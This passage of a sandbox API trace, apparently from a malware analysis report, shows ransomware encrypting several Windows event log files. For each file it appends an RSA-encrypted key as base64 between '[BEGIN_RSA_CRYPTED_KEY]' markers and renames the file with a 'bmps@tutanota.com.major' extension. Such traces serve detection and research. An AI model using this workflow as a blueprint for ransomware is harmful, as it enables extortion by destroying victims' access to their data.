pszString="P1pEc14cu6WxNX4FCgN1lKrUDmCC5780AiYFFj341Bk1EqqQWfUhozSRhePTUHNX\nN+ZyWKM4XAw3/qda25eySgNjImE7LJ7V+HQQ7H0dPOSfu6fRcCCr3I7wq+rmPcxI\nxFg5Pb+/0d5h53DLtPbWaTx6hkaXlfXJs/fZc6LBpfMTbEKX7saqvufLmlC7VeZX\nwOF+p9Zu/9DmH2CzANLLewnkaRUj//a05Ckhbji700eE7VW1LCSuF8sig4TxSL6l\nd6DoNOsVrf4CNzQcULe2ntIisdQXVKxEXpTABXgm4ucQLGT5HCenroJ4a5o2QRO4\nEMf852zmhYLBtDkadWs4Dw==\n", pcchString=0x2e3f9a8) returned 1 [0125.338] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0125.338] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0125.338] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0125.338] CloseHandle (hObject=0x460) returned 1 [0125.343] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0125.343] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0125.345] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5afc00 | out: hHeap=0x570000) returned 1 [0125.345] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0125.345] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0125.345] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0125.345] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0125.345] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0125.345] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0125.345] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", dwFileAttributes=0x80) returned 1 [0125.346] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0125.346] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0a58 [0125.346] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0125.346] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0125.346] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0125.346] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0125.346] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0125.346] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0125.383] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.383] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0125.384] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0125.384] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0125.385] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0125.385] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0125.385] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0125.386] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0125.386] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0125.387] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0125.387] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0125.387] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: pszString="Cm7vSdylnCShPU9jERT7jHBclPQScvIrYL4gfIe7/PLeXjMvYy4p/H2Ob+vAMhqY\ncI5ddKlJMSxQ+M43k4FCM9FIw0HhBN7XXbe3HGOud5qhYZxwzXYKVfXDD9y7aUbB\nYZgqC5u56r5bm6/zQ926ogKm+UDrPGycU/fPcvfu/eMFgjrrMPUzJMFL4WZSlAC6\nVDSZCara9otxOBYvANW5BfkjZq0+vdyPUSTB9imwLWR+lVwqUNnGzPYr37ha+QuR\nkx7h19VyT8fT3F2rFu+9/A9dDAMVYqLJYVO/rLAU8+T8MPFMyZGjtCuKe2LsvRBc\nzIydV4uN2mAV0m2z8rxbVg==\n", pcchString=0x2e3f9a8) returned 1 [0125.387] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0125.388] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0125.388] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0125.388] CloseHandle (hObject=0x460) returned 1 [0125.390] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0125.390] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0125.393] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b0a58 | out: hHeap=0x570000) returned 1 [0125.393] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0125.393] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0125.393] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0125.393] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b59b8 [0125.393] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0125.393] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0125.393] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx", dwFileAttributes=0x80) returned 1 [0125.394] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b58c8 [0125.394] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0125.394] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b58c8 | out: hHeap=0x570000) returned 1 [0125.394] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0125.394] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1052672) returned 1 [0125.394] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x101000) returned 0x314c020 [0125.395] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x101000) returned 0x3256020 [0125.395] ReadFile (in: hFile=0x460, lpBuffer=0x314c020, nNumberOfBytesToRead=0x101000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314c020*, lpNumberOfBytesRead=0x2e3f9b4*=0x101000, lpOverlapped=0x0) returned 1 [0125.517] SetFilePointer (in: hFile=0x460, lDistanceToMove=-1052672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.517] WriteFile (in: hFile=0x460, lpBuffer=0x3256020*, nNumberOfBytesToWrite=0x101000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3256020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x101000, lpOverlapped=0x0) returned 1 [0125.523] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x314c020 | out: hHeap=0x570000) returned 1 [0125.524] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3256020 | out: hHeap=0x570000) returned 1 [0125.524] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x101000 [0125.524] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0125.524] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0125.524] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0125.524] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0125.525] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0125.525] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0125.525] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: pszString="gmkezjHE7tLAuiwUbEFYr/ziw+Kru0sPNlBf/tM/QTSmHvFdEU1w+wpigkrOuQFo\naIMD2bzx8zVYIvyTgmvD1HnSbT5C4kJeTD1zIQYKNr2bFx/D5TkwOGvVG2b/U7CB\nkLaE1DO4aXT7mLm56iA/UK9iFuJ83Em7G9j8PKxWao7mrmZRE+weTNqFkNMzTjlk\n4kFoMEjI+Vw8mqGjYtXf5EXvxxcXJ0IV6iXdbeLnqqS9o6svHsirGAeTPwktIdQg\nGmdzNLvjV/pmxGpfAy8LC6oXPnjflSs2ZRVncawNF26qjzyWcEcnFAqeUN9hnFWo\nIcVTJ0u9kks10QSEvJ9TCw==\n", pcchString=0x2e3f9a8) returned 1 [0125.525] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0125.525] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0125.525] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0125.525] CloseHandle (hObject=0x460) returned 1 [0125.543] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0125.543] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0125.545] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0125.545] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0125.545] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b59b8 | out: hHeap=0x570000) returned 1 [0125.545] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5418 | out: hHeap=0x570000) returned 1 [0125.545] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b5418 [0125.545] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0125.545] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0125.545] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0125.546] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b5580 [0125.546] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0125.546] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5580 | out: hHeap=0x570000) returned 1 [0125.546] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0125.546] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0125.546] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0125.546] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0125.546] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0126.001] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.001] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0126.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0126.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0126.004] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0126.005] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.005] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.005] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0126.005] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0126.006] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0126.006] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0126.006] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: pszString="Wkt4Se210ceFwJK513IkOWLALogJxTwtBXWC5g9TE8MoobinX7M+yP1jYOWkagFp\ncMxb626U6zpLgJy2qj4e0I93oDX9Gw0NVlTNH6lGN53afvl3Z4igI6bSfnH3XWIR\npeQHxU6kf6jkhBFa4tRoSvd1cOrwfAS2sPvX162BJP584J/dtuLAed7t76fBSzdu\n8gw6xQANQ05sUXv4k8miNAGZySPaM2IRZ6fJXyOpUjOaDLv0QTABcbpKcNgojIDV\n3nrI5n56FpCeZRMzCJoYi8leqBm80+p0UkCJnIAEUzJlwWTTdHIaGShzZHY2lmn2\nzjJIxjOg6c8cQGG40R0HaA==\n", pcchString=0x2e3f9a8) returned 1 [0126.006] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0126.006] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.006] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.006] CloseHandle (hObject=0x460) returned 1 [0126.008] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0126.009] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0126.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0126.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0126.010] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5418 | out: hHeap=0x570000) returned 1 [0126.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5328 | out: hHeap=0x570000) returned 1 [0126.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b53a0 [0126.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0126.011] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0126.011] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0126.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b55f8 [0126.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0126.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b55f8 | out: hHeap=0x570000) returned 1 [0126.011] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0126.011] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0126.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0126.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0126.011] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0126.425] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.425] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0126.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0126.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0126.429] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0126.429] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.429] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.429] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0126.429] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0126.431] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0126.431] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5b28 [0126.431] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5b28, pcchString=0x2e3f9a8 | out: pszString="Sjl8owU+VhSgR7XxKlybld/GhTRYySeYZbWooamECzCEYmwRuFRukqzn44rnareY\n92TVUXBKAzrv4tf2VVRu6sJNbSOp6eziW0K9Gm3/e72K35OGQtDOx+Q2CsvrBcZp\nz/OhMPTef+k3FkfugIPu4EqKeOxwMyShAoXHZIhi6emMV4fipp+8dGvxLPwr78pS\nY7J94YsrII0BPPILTjA4LMsEjD9cd7oB51zxwTFow9S9Z2VtrHIwAtNRYSXUpgZv\nj/P9V4xp72QM9ZrqmRDPIsewXkkMXr93oxqj7Q29KvhHo66aqxI2E4Hl2r7i2Csd\n6Kjqx6HDcYSEBRL9lC66FA==\n", pcchString=0x2e3f9a8) returned 1 [0126.431] WriteFile (in: hFile=0x460, lpBuffer=0x5b5b28*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0126.431] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0126.431] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0126.431] CloseHandle (hObject=0x460) returned 1 [0126.529] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0126.529] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0126.547] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0126.547] 